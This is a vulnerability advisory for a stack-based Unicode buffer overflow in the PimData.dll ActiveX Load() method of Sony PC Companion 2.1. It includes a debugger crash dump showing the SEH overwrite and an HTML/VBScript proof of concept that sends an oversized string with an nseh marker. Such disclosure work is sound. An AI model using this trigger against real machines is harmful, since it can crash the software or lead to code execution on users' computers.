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Sony PC Companion 2.1 Load() Unicode Buffer Overflow

Sony PC Companion 2.1 Load() Unicode Buffer Overflow
Posted Dec 22, 2012
Authored by LiquidWorm | Site zeroscience.mk

Sony PC Companion version 2.1 suffers from a boundary error in PimData.dll when handling the value assigned to the 'File' item in the Load function and can be exploited to cause a stack-based buffer overflow via an overly long string which may lead to execution of arbitrary code on the affected machine.

tags | exploit, overflow, arbitrary
SHA-256 | 6852777c3ba50005a472c645be4b92305533367f61eeb74043cb82a0116f3cfa

Sony PC Companion 2.1 Load() Unicode Buffer Overflow

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Sony PC Companion 2.1 (Load()) Stack-based Unicode Buffer Overload SEH


Vendor: Sony Mobile Communications AB
Product web page: http://www.sonymobile.com
Affected version: 2.10.115 (Production 27.1, Build 830)
2.10.108 (Production 26.1, Build 818)

Summary: PC Companion is a computer application that acts as a portal
to Sony Xperia and operator features and applications, such as phone
software updates, management of contacts and calendar, media management
with Media Go, and a backup and restore feature for your phone content.

Desc: The vulnerability is caused due to a boundary error in PimData.dll
when handling the value assigned to the 'File' item in the Load function
and can be exploited to cause a stack-based buffer overflow via an overly
long string which may lead to execution of arbitrary code on the affected
machine.


------------------------------------------------------------------------------

STATUS_STACK_BUFFER_OVERRUN encountered
(59c.162c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=5f392b80 ecx=75b1de28 edx=0019dd59 esi=00000000 edi=002891c4
eip=75b1dca5 esp=0019dfa0 ebp=0019e01c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
KERNEL32!FormatMessageA+0x13c85:
75b1dca5 cc int 3
0:000> !exchain
0019e00c: KERNEL32!RegSaveKeyExA+3e9 (75b49b72)
Invalid exception stack at 00420042
0:000> d edi
002891c4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
002891d4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
002891e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
002891f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00289204 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00289214 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00289224 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00289234 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000>

------------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2012-5118
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5118.php

http://cwe.mitre.org/data/definitions/121.html


09.11.2012

---


<html>
<body>
<object classid='clsid:EEA36793-F574-4CC1-8690-60E3511CFEAA' id='overrun' />
<script language='vbscript'>
targetFile = "C:\Program Files\Sony\Sony PC Companion\PimData.dll"
prototype = "Sub Load ( ByVal File As String )"
memberName = "Load"
progid = "PimDataLib.DataItemCollection"
argCount = 1

File=String(262, "A") + "BB" + String(1000, "C")

' ^ ^ ^
' | | |
'----------- junk ----- nseh -------- junk ------

overrun.Load File

</script>
</body>
</html>
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